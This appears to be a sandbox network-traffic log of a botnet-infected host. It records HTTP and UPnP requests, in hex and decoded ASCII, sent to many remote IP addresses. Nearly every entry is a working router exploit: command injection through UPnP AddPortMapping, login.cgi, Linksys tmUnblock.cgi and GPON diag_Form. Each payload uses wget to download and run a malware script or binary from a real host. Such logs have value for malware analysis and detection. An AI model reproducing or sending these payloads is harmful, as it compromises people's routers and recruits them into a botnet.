70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:21:53.727353096 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:05.758677006 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:22:29.821666002 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	53336	212.53.151.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:42.485821009 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:43.615391970 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:21:43.789212942 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.4 Date: Thu, 21 Mar 2024 04:21:43 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	55506	172.65.138.46	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:42.715358019 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	35716	37.108.96.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:43.029953003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	44076	109.137.182.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:43.030005932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	38066	5.136.153.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:43.030061960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	49320	109.237.90.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:43.030088902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	37360	162.218.24.114	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:43.365780115 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:21:43.658721924 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.14	37340	162.218.24.114	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:43.386957884 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.14	48418	38.173.21.102	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:43.475718021 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
